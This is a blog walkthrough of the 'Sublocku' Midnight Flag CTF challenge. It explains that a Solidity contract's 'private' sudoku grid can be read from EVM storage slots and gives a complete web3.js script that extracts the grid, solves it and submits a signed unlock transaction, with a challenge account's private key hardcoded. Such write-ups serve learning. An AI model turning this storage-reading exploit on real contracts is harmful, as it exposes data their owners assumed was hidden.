Sublocku - Midnight Flag CTF - Walkthrough
Leak data and solve a sudoku.
Description
I recently attended the Midnight Flag CTF which was a very nice CTF. One of the challenges I really liked, because it taught me a lot, was this challenge. The challenge was rated as Medium.
Code analysis
In this challenge you are provided with a solidity EVM-compatible node script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Author : Neoreo
// Difficulty : Medium
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Sublocku {
uint private size;
uint256[][] private game;
bool public isSolved = false;
address public owner;
address public lastSolver;
constructor(uint256 _size,uint256[][] memory initialGrid) {
owner = msg.sender;
size = _size;
require(initialGrid.length == size, "Grid cannot be empty");
for (uint i = 0; i < size; i++) {
require(initialGrid[i].length == size, "Each row must have the same length as the grid");
}
game = initialGrid;
}
function unlock(uint256[][] memory solve) public {
require(solve.length == size, "Solution grid size mismatch");
for (uint i = 0; i < size; i++) {
require(solve[i].length == size, "Solution grid row size mismatch");
}
for (uint i = 0; i < size; i++) {
for (uint j = 0; j < size; j++) {
if (game[i][j] != 0) {
require(game[i][j] == solve[i][j], "Cannot modify initial non-zero values");
}
}
}
require(checkRows(solve), "Row validation failed");
require(checkColumns(solve), "Column validation failed");
require(checkSquares(solve), "Square validation failed");
lastSolver = tx.origin;
}
function checkRows(uint256[][] memory solve) private view returns (bool){}
function checkColumns(uint256[][] memory solve) private view returns (bool){}
function checkSquares(uint256[][] memory solve) private view returns (bool) {}
function values() internal pure returns (uint256[] memory){}
function sum(uint256[] memory array) internal pure returns (uint256) {}
}
On deployment the contract gets constructed using the constructor
with the _size
and the initialGrid
values as arguments. As you might have guessed from the challenges title, this challenge is about a sudoku game. After some checks the grid is stored inside the game variable.
For us only the unlock()
function is callable, it’s the only public function. The function needs also an grid as an argument, this is then checked against the grid which is saved in the contract. All sudoku entries which are not empty and do not contain 0
are checked if they match the values of the initial grid. If they do, there is some verification of the grid if it matches the requirements.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
function checkRows(uint256[][] memory solve) private view returns (bool){
uint256[] memory available;
uint256 val;
for (uint i = 0; i < size; i++) {
available = values();
for (uint j = 0; j < size; j++) {
val = solve[i][j];
if (val <= 0 || val > size){
return false;
}
if (available[val-1] == 0){
return false;
}
available[val-1] = 0;
}
if (sum(available) != 0) {
return false;
}
}
return true;
}
function checkColumns(uint256[][] memory solve) private view returns (bool){
uint256[] memory available;
uint256 val;
for (uint i = 0; i < size; i++) {
available = values();
for (uint j = 0; j < size; j++) {
val = solve[j][i];
if (val <= 0 || val > 9){
return false;
}
if (available[val-1] == 0){
return false;
}
available[val-1] = 0;
}
if (sum(available) != 0) {
return false;
}
}
return true;
}
function checkSquares(uint256[][] memory solve) private view returns (bool) {
uint256[] memory available;
uint256 val;
for (uint startRow = 0; startRow < size; startRow += 3) {
for (uint startCol = 0; startCol < size; startCol += 3) {
available = values();
for (uint i = 0; i < 3; i++) {
for (uint j = 0; j < 3; j++) {
val = solve[startRow + i][startCol + j];
if (val <= 0 || val > 9) {
return false;
}
if (available[val-1] == 0) {
return false;
}
available[val-1] = 0;
}
}
if (sum(available) != 0) {
return false;
}
}
}
return true;
}
function values() internal pure returns (uint256[] memory){
uint256[] memory available_values = new uint256[](9);
available_values[0] = uint256(1);
available_values[1] = uint256(2);
available_values[2] = uint256(3);
available_values[3] = uint256(4);
available_values[4] = uint256(5);
available_values[5] = uint256(6);
available_values[6] = uint256(7);
available_values[7] = uint256(8);
available_values[8] = uint256(9);
return available_values;
}
function sum(uint256[] memory array) internal pure returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < array.length; i++) {
total += array[i];
}
return total;
}
These functions which check the requirements, are essentially the sudoku checkers, they check if the grid contains a valid solution to the sudoku on the server, so nothing too complex.
Now the question is, how you could find the already existing sudoku on the server and solve it to get the flag and call the unlock()
function with it.
Vulnerability
The question you might ask yourself is, how do we get the initial grid, we don’t have it in the code and it isn’t something public:
1
uint256[][] private game;
Although the variable is private, this doesn’t mean we can’t access it. This is like the common misconception of many people regarding the blockchain, the blockchain might look if it’s anonymous but in reality it’s somewhat the opposite, you can look up each transaction and maybe not connect people to it but you know exactly what this contract is doing. The Ethereum Virtual Machine (EVM) is totally transparent. It will give you the data even if it’s marked as private.
The only issue we have is how to access it now, because the EVM is using it’s own memory storing system which is quite more complex.
This article reveals how to access the variables. The first observation is that the game
variable is dynamically allocated, because the size is not predefined (uint256[][]
), this makes accessing it a little bit more complex. The slot, which is like the location on a stack can be read from the code, the game array is stored in slot 1, after slot 0 which stores the size. In solidity each slot takes 32 bytes. If we access this slot we will get the size of the array, this way we find the size.
The next task is to get the sub arrays, for that, we need to hash the slot number with the keccak256()
function, the result will give us the address of the slots which contains the sub arrays. Please note that the size of the slot will tell you how many sub arrays you will find at the hash location.
For the final step we need the actual data of the grid, because we have a two dimensional grid we only have the size of the sub arrays at the location you got with the hash. To access the sub arrays data we again need to again hash the sub arrays size location with keccak256()
and use the result to get the data.
Finally you can access the data by adding 1 to the hashed value to get the next 32 bytes. You need to to the same to access the next sub array at the location of the array you reached with the hash.
This sounds pretty complex but I think it is’t the implementation is quite easy,
Here us a high level view of the memory.
After we extracted the sudoku the easy part comes to solve the sudoku, here you can use various existing scripts or simply ask ChatGPT.
Final script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
const { Web3 } = require('web3');
const url = 'http://chall2.midnightflag.fr:10923/rpc';
const web3 = new Web3(new Web3.providers.HttpProvider(url));
const contractAddress = '0x685215B6aD89715Ef72EfB820C13BFa8E024401a';
const myAccount = '0x5994B94Eed4262a75dc8a65012225ab0605F8bb6';
const privateKey = Buffer.from('ddd234e2da34d08d39247f17590dd3ca569d53012315bba66a6a1de43b73265d', 'hex');
// slot of where hte game is stored: https://stackoverflow.com/questions/50493197/solidity-accessing-private-variable
const slot = 1;
const abi = [
{
"inputs": [
{
"internalType": "uint256[][]",
"name": "solve",
"type": "uint256[][]"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
];
// Soduko solver according to chatGPT
function solveSudoku(board) {
function isValid(row, col, num) {
// Check row and column
for (let i = 0; i < 9; i++) {
if (board[row][i] === num || board[i][col] === num) return false;
}
// Check 3x3 block
const startRow = Math.floor(row / 3) * 3;
const startCol = Math.floor(col / 3) * 3;
for (let i = 0; i < 3; i++) {
for (let j = 0; j < 3; j++) {
if (board[startRow + i][startCol + j] === num) return false;
}
}
return true;
}
function solve() {
for (let row = 0; row < 9; row++) {
for (let col = 0; col < 9; col++) {
if (board[row][col] === '0') {
for (let num = 1; num <= 9; num++) {
const strNum = num.toString();
if (isValid(row, col, strNum)) {
board[row][col] = strNum;
if (solve()) return true;
board[row][col] = '0';
}
}
return false;
}
}
}
return true;
}
if (solve()) {
// console.log("Solved Board:");
return board;
} else {
console.log("No solution exists.");
}
}
function convertBoardToIntMatrix(board) {
return board.map(row => row.map(cell => parseInt(cell, 10)));
}
async function solve() {
const contract = new web3.eth.Contract(abi, contractAddress);
const grid = [];
const slotHex = web3.utils.padLeft(web3.utils.numberToHex(slot), 64);
const outerLengthHex = await web3.eth.getStorageAt(contractAddress, slotHex);
const outerLength = web3.utils.hexToNumber(outerLengthHex);
console.log("Rows length:", outerLength);
const outerBaseSlot = BigInt(web3.utils.keccak256(slotHex));
for (let i = 0; i < outerLength; i++) {
const pointerSlot = '0x' + (outerBaseSlot + BigInt(i)).toString(16).padStart(64, '0');
const innerLengthHex = await web3.eth.getStorageAt(contractAddress, pointerSlot);
const innerLength = web3.utils.hexToNumber(innerLengthHex);
console.log(`(Columns) grid[${i}] length:`, innerLength);
const innerBaseSlot = BigInt(web3.utils.keccak256(pointerSlot));
const row = [];
for (let j = 0; j < innerLength; j++) {
const elementSlot = '0x' + (innerBaseSlot + BigInt(j)).toString(16).padStart(64, '0');
const elementHex = await web3.eth.getStorageAt(contractAddress, elementSlot);
const value = web3.utils.hexToNumberString(elementHex);
console.log(`grid[${i}][${j}]:`, value);
row.push(value);
}
grid.push(row);
}
const solution = solveSudoku(grid);
const sudokuSolution = convertBoardToIntMatrix(solution);
const nonce = await web3.eth.getTransactionCount(myAccount, 'latest');
const tx = {
from: myAccount,
to: contractAddress,
gas: 2000000,
gasPrice: web3.utils.toHex(20 * 1e9),
data: contract.methods.unlock(sudokuSolution).encodeABI(),
nonce: nonce
};
const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);
web3.eth.sendSignedTransaction(signedTx.rawTransaction)
.on('receipt', (receipt) => {
console.log('✅ Solution submitted. Receipt:', receipt);
})
.on('error', (error) => {
console.error('❌ Error submitting solution:', error);
});
}
solve();